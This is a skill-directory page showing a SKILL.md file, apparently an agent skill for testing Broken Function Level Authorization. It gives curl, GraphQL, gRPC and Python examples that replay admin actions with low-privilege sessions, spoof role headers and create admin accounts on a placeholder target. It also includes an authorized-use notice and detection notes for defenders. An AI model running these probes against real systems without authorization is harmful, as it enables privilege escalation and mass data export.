Skip to main content

bfla

Broken Function Level Authorization (BFLA) — exploit action-level access control failures where lower-privileged principals invoke admin/staff functions across REST, GraphQL, gRPC, WebSocket, and background job paths.

Jump to install

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
May 30, 2026 at 01:29
Detected SKILL.md language
English
Stars
5,611
Forks
1,061

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
bfla
description
Broken Function Level Authorization (BFLA) — exploit action-level access control failures where lower-privileged principals invoke admin/staff functions across REST, GraphQL, gRPC, WebSocket, and background job paths.
allowed-tools
Bash Read Write
metadata
{"subdomain":"authorization","when_to_use":"BFLA, broken function level authorization, function level access control, admin endpoint bypass, privilege escalation, admin api, method override, role bypass, action-level authorization, unauthorized action, admin function, GraphQL mutation privilege, gRPC method bypass, batch job auth, actor action matrix","tags":"web-application, authorization, privilege-escalation, api, owasp-api5","mitre_attack":"T1190, T1078.001, T1548"}
# Broken Function Level Authorization (BFLA) BFLA is an action-level access control failure: a lower-privileged principal successfully invokes a function (HTTP endpoint, GraphQL mutation, gRPC method, WebSocket event, background job action) that should be restricted to a higher-privileged role. It is distinct from IDOR (T1190 object-level) — the surface here is the *action itself*, not the object ID. Enforcement must bind actor to action at every transport layer and every service boundary, not just at the UI or API gateway. **Authorized use only.** Only test systems you are explicitly authorized to assess. Privilege escalation in production without authorization is a crime in most jurisdictions. ## Attack Surface - REST/JSON admin endpoints hidden from the UI but still live on the server - GraphQL mutations and admin fields absent from the published schema but introspectable - gRPC methods listed via server reflection that bypass gateway checks - WebSocket events where only the handshake was authorized - Background job create/finalize/approve endpoints that re-use session but skip role checks - Internal microservice RPCs reachable via SSRF or exposed routing - Feature flags enforced client-side / at edge but not at the core service ## High-Value Actions - Role/permission assignment, user impersonation, sudo/su endpoints - Refund, credit issuance, price override, order void/cancel - Export/bulk-download of all user data or PII - Account suspension, deletion, reactivation, verification override - Feature flag toggle, quota/grant adjustment, seat/license change - 2FA reset, email-change bypass, password-reset initiation for arbitrary accounts - Admin console CRUD (create user, delete user, assign group) ## Reconnaissance ### Build the Actor x Action Matrix Before fuzzing, enumerate the roles and their expected actions: ```bash # Capture all endpoints from JS bundles, API spec, and crawl # Extract role-specific API paths from the frontend curl -s https://<TARGET>/static/main.js | grep -oE '"/api/[^"]*"' | sort -u curl -s https://<TARGET>/openapi.json 2>/dev/null | python3 -c " import sys,json spec = json.load(sys.stdin) for path,methods in spec.get('paths',{}).items(): for method,info in methods.items(): tags = info.get('tags',[]) + info.get('x-roles',[]) + info.get('security',[]) print(method.upper(), path, tags) " 2>/dev/null ``` For each discovered endpoint, note: HTTP method, expected minimum role, whether it appears in the UI for non-admin users. ### Obtain Sessions for Each Role ```bash # Register/obtain sessions for: unauthenticated, basic user, premium, staff, admin # Store cookies/tokens for each role curl -s -c unauthenticated.jar https://<TARGET>/api/me curl -s -c basic.jar -X POST https://<TARGET>/login -d 'user=basic&pass=<pass>' curl -s -c admin.jar -X POST https://<TARGET>/login -d 'user=admin&pass=<pass>' ``` ### Signals That BFLA Is Present - Endpoint returns 200 for a lower-role token where 403/401 is expected - Different HTTP methods on the same path have inconsistent enforcement (GET allowed, POST blocked — but PATCH is not) - Admin endpoints return a different error code (404 vs 403) — "security through obscurity" that still processes the request - Background job endpoints return 200 with a task ID even for non-admin callers - GraphQL mutation returns data when sent from a basic-user token ## Testing Methodology ### Step 1: Baseline with Admin Token Confirm each target action succeeds with the highest-privilege token first. This rules out the action being broken for everyone. ```bash # Example: create a user as admin curl -s -b admin.jar -X POST https://<TARGET>/api/admin/users \ -H 'Content-Type: application/json' \ -d '{"username":"testuser","role":"admin"}' | tee bfla_admin_baseline.txt ``` ### Step 2: Replay with Lower-Privilege Token Replay the identical request with the basic-user or unauthenticated token. Same path, same method, same body. ```bash curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \ -H 'Content-Type: application/json' \ -d '{"username":"testuser2","role":"admin"}' | tee bfla_basic_replay.txt # Diff: admin got 201 Created, basic should get 403 diff bfla_admin_baseline.txt bfla_basic_replay.txt ``` **Win condition:** basic-user request returns 200/201/204 (or produces a durable state change verified by subsequent GET) when the admin baseline returned 201. ### Step 3: Method Alternation Many frameworks register route handlers per-method independently. An admin-only POST may have an unguarded PUT/PATCH/DELETE. ```bash for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do echo -n "$method: " curl -s -o /dev/null -w "%{http_code}" -b basic.jar \ -X "$method" https://<TARGET>/api/admin/users/1 \ -H 'Content-Type: application/json' \ -d '{"role":"admin"}' echo done ``` Look for: method returning 200/204 where others return 403. Also try `X-HTTP-Method-Override: DELETE` on a POST request. ### Step 4: Transport / Encoding Alternation ```bash # JSON vs form-encoded (different middleware chains in some frameworks) curl -s -b basic.jar -X POST https://<TARGET>/api/admin/promote \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'user_id=2&role=admin' # Try path with/without trailing slash (different route matches in some routers) curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users/ ``` ### Step 5: GraphQL Mutations ```bash # Attempt admin mutation with a basic-user token curl -s -b basic.jar -X POST https://<TARGET>/graphql \ -H 'Content-Type: application/json' \ -d '{ "query": "mutation { updateUser(id: 2, role: ADMIN) { id role } }" }' | tee bfla_graphql.txt # Use aliases to batch privileged mutations and observe which succeed curl -s -b basic.jar -X POST https://<TARGET>/graphql \ -H 'Content-Type: application/json' \ -d '{ "query": "mutation { a: deleteUser(id: 3) { id } b: promoteUser(id: 2, role: ADMIN) { id role } }" }' ``` ### Step 6: Background Jobs and Webhooks Job-create endpoints are often allowed for all users; finalize/approve are not guarded independently: ```bash # Create job as basic user (allowed) JOB_ID=$(curl -s -b basic.jar -X POST https://<TARGET>/api/export \ -H 'Content-Type: application/json' \ -d '{"type":"all_users"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['job_id'])") # Finalize/approve job as basic user (should be 403) curl -s -b basic.jar -X POST https://<TARGET>/api/export/$JOB_ID/approve \ | tee bfla_job_approve.txt ``` ### Step 7: Header Trust Bypass Some backends trust identity headers injected by a gateway/proxy. Supply conflicting headers: ```bash curl -s -b basic.jar -X POST https://<TARGET>/api/admin/users \ -H 'X-User-Role: admin' \ -H 'X-Forwarded-User: admin' \ -H 'X-Auth-Role: staff' \ -H 'Content-Type: application/json' \ -d '{"username":"pwned","role":"admin"}' ``` ## Verification A confirmed BFLA finding requires: 1. **Baseline contrast:** admin token → 200/201; basic token → 200/201 (should be 403) 2. **Durable state change:** subsequent GET or audit log confirms the privileged action persisted 3. **Minimal repro:** single request that demonstrates the bypass (no intermediary steps) ```python import requests TARGET = "https://<TARGET>" BASIC = {"session": "<basic_session_cookie>"} ADMIN = {"session": "<admin_session_cookie>"} # Baseline: admin can promote r_admin = requests.post(f"{TARGET}/api/admin/users", cookies=ADMIN, json={"username": "probe", "role": "admin"}, timeout=5) assert r_admin.status_code in (200, 201), f"Admin baseline failed: {r_admin.status_code}" # BFLA: basic can too? r_basic = requests.post(f"{TARGET}/api/admin/users", cookies=BASIC, json={"username": "bfla_probe", "role": "admin"}, timeout=5) print(f"BFLA result: {r_basic.status_code} {r_basic.text[:200]}") # Confirm durable state me = requests.get(f"{TARGET}/api/users/bfla_probe", cookies=BASIC, timeout=5).json() print(f"Role in DB: {me.get('role')}") # should be 'admin' if BFLA succeeded ``` ## gRPC-Specific Testing ```bash # List methods via server reflection grpc_cli ls <TARGET>:443 --l # requires grpc_cli # Call admin method with basic-user token grpcurl -H "Authorization: Bearer <basic_token>" \ -d '{"user_id": 2, "role": "ADMIN"}' \ <TARGET>:443 com.example.AdminService/PromoteUser ``` ## Common Framework Weaknesses | Framework | Pattern | Gap | |-----------|---------|-----| | Express/Node | `router.post('/admin', adminMiddleware)` missing on `router.put` | Method alternation bypass | | Django DRF | `permission_classes = [IsAdmin]` set at ViewSet but missing on action-level `@action` | Custom action without permission decorator | | Spring Security | `antMatchers("/admin/**").hasRole("ADMIN")` but `/admin` (no slash) not matched | Trailing-slash bypass | | FastAPI | Dependency injection on route but not on background task handler | Background task runs with no caller | | GraphQL (generic) | Top-level query auth but resolver-level checks absent | Nested mutation bypass | ## ATT&CK Mapping - T1190 — Exploit Public-Facing Application (initial access via unguarded admin endpoint) - T1078.001 — Valid Accounts: Default Accounts (when function-level bypass yields admin account creation) - T1548 — Abuse Elevation Control Mechanism (privilege escalation via unguarded elevation endpoint) ## Detection Notes Defenders should look for: a non-admin session token successfully invoking `/admin/` or `/staff/` paths (log the 200 response code alongside the token's role claim), unexpected role changes in audit logs, and GraphQL mutations from non-staff tokens that modify privileged fields. ## Output Files ``` ./ ├── bfla_admin_baseline.txt # Proof admin action succeeds ├── bfla_basic_replay.txt # Proof basic-user bypass succeeds ├── bfla_<endpoint>_evidence.txt # Durable state-change proof (GET after write) └── bfla_summary.md # Matrix of tested actions, methods, transports, results ```
View on GitHub